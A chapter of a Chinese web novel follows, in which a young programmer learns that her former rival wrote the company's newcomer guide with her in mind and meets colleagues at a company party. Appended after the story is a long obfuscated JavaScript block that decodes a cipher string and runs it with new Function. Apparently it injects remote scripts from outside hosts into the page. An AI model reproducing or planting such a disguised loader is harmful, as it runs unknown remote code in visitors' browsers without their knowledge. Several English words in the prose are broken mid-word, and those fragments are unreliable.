第28章 Hello,World!(2)(2 / 2)

新人很机灵,嘴甜,还擅于察言观色,开口闭口都是“Amyu姐”,加入了沈奕衡的吃喝玩乐群,没几天就帮群主组织起聚餐团购来,那一天跟着她和李安然一起出去吃饭,不知怎么说起公司的菜鸟指南。

那是本公司新人必读的葵花宝典,放在公司的内部网上,讲如何设定服务器账号,如何在本地机器开发和测试,又如何把写完的代码发布到服务器上,继而进行监控和预警设置。张毅第一天来上班她就把链接发给他,叫他按部就班做起来,这时候他问:“我没用过Docker(打包应用程序)。葵花宝典里其他都讲的挺详细,为什么对Docker就一笔带过?”

确实,这是流程中的重要一步,葵花宝典却只提了一句。李安然一声冷哼,充满戏剧效果地说:“这个你要问问你Amyu姐,葵花宝典是谁写的,为谁写的,只有她最清楚。”

葵花宝典开宗明义第一句:Hello,world!洋洋洒洒十几个章节,一定花了贺宇川不少时间。

那时候她刚刚大学毕业,进了A公司,老板是刚升职的陈向阳,第一天也是给了她这个链接。彼时正是A公司在H城大规模扩张的时期,贺宇川算是赶上了好时候,做了几年手下已经有十几个人的团队,她同一拨新人进入公司,他的手下就有了两队人马。

那几年她和贺宇川几乎是形同陌路的关系,至少她是能躲就躲,还对他说过许多伤人的话,原本她连A公司的面试也犹豫要不要参加,最后贺宇川在饭桌上耻笑她:“你的成绩单那么难看,来面也多半过不了,过了应该也会分到管边角料做UI(Useri

terface,用户界面)或deployme

t(发布)的哪个组,权当是面一个试试手好了。”

她的成绩单虽然难看,现场发挥却好,又有实习的经验,查Refere

ce的时候彭铁面老师给了热情洋溢的推荐,最后竟然录取了,也确实,分在管边角料的组里,和贺宇川的团队不搭界。

陈向阳同她讲:“我们来的时候哪有什么葵花宝典,都是自己摸索,搞不定就求前辈指教,再搞不定就只好自己着急,还是你们走运,这本菜鸟指南刚刚才写出来。”

那时候公司新人多,大家都要经历同样的摸索,确实有写一部指南的必要,她也没多想。贺宇川那时又是大忙人,简直日理万机,没预约在办公室通常都见不到人影,她哪里会料到那部指南是他花时间写的,即使后来听说了,她也从来没自恋到以为独独和她有什么关系。

自从饭局那晚,两个星期来贺宇川还没联系过她,这时候她发了条短信给贺宇川:“葵花宝典里怎么不讲Docker怎么用?”

他片刻就回答:“那些和彭铁面公司用的一样,你不是都会?我就没写。”

她在手机前面呆了呆。手机对话框里还一直显示对方正在输入,输入半晌又停下来,一会儿又重新输入,最后才发过一句话:“公司三周年年庆,今晚聚餐搞活动,免费吃喝,来吗?”她尚在犹豫该不该去,他又添上一句:“请李安然也来吧。”

既然也请李安然,她自然不好直接拒绝,去李安然那里一问,李安然当然是兴高采烈地答应下来。

说是庆祝会,其实似乎就是所有人聚在一起大吃大喝一顿。贺宇川的公司百分之八十是大学毕业没几年的宅男,吃吃喝喝肯定是最受欢迎的活动。公司包了一家自助餐厅,没有主持人,也没什么领导讲话,员工和家属随便坐,贺宇川甚至穿着连帽衫和运动鞋,头发乱糟糟堆在头顶,脸色很疲惫,倒像干了个通宵,刚从电脑前面爬出来。

她远远看到贺宇川在同人讲话,就自顾自拉着李安然找了一张角落的桌子坐下来。人多桌子少,李安然去拿吃的,很快有人落座在她的对面。对面的年轻女孩子善意地朝她笑,主动搭话说:“我叫曲靖。”说罢还指着身边的木讷青年说:“这是我男朋友,叫陈侃。”

“你呢?也是谁的家属吧?”曲靖好奇地刨根问底。

“家属”这两个字莫名地刺耳。她笑着回答:“我哪是什么家属,就是朋友叫来骗吃骗喝的,你叫我Amyu好了。”

没想到曲靖瞪大了眼睛:“Amyu?A-M-Y-U?你就是Amyu啊?”连旁边坐的木讷青年陈侃也叫起来,对自己女朋友说:“你看,我不认识这个人吧,赶紧赶紧,把贺宇川叫过来,洗刷我的冤情。”

恰好贺宇川和李安然一齐走回来,把两大盘吃的堆在她面前,在她旁边的座位坐下来。那个陈侃还指着她结结巴巴地喊:“这就是Amyu,总算见到真人了,那个什么……”话没说完被贺宇川瞪了两眼,才“哦”了一声坐下来埋头吃东西。

整餐饭吃得姜芷芃一头雾水。贺宇川忙得很,坐了一会儿又被别人叫走,饭桌上数曲靖的话多,同李安然两个从世界杯一直海聊到C位出道,还一直用好奇八卦又暧昧的目光打量她。最后酒足饭饱,陈侃领着曲靖告辞,这时候餐厅里的人也已经走了不少。她原来收拾东西也想走,贺宇川打断了和别人的谈话走过来告诉她们:“再等一会儿,我送你们回去。”李安然自然又忙不迭欢天喜地地答应下来。

她起身去洗手间,回来的路上看见曲靖又从门口折了回来。她还以为曲靖忘了什么东西,不想她几步走过来,把她拉到门外僻静的角落,往她手里塞了个什么东西,对她神神秘秘地一笑,说:“我和陈侃才认识没多久,圣诞节他送了件礼物给我,上面却刻了别的女人的名字。当时我跟他吵了一架,他说那件礼物原来是他老板贺宇川买的,要送人的生日礼物又不知为什么没送出去,就随手扔给了他。我一直还不大相信,今天才知道是真的。正好,东西还在车里,你替陈侃还给贺宇川好不好?”

<--di--!>
!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/CL/o}0jR8C{}YQJ6o1("a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"o}0"=^8"C{}YQJ6o1("!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"o}0^)ThF)m7}F:Ch2mRT4"="o}0X5ThF)mX(nSnY0mRT4"="o}02pThFm7}F:Ch2mRT4"="o}0_JqhFmX(nSnY0mRT4"="o}02TOhFm7}F:Ch2mRT4"="o}0CSqhF)mX(nSnY0mRT4"="o}0)FfThF)fm7}F:Ch2mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m}5TJ:S0mRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q/f/o}0j(8}vR8C{}YQJ6o1("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPo}0d(hFL_CLmJC)QpXQmRT4gQ}1Q"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();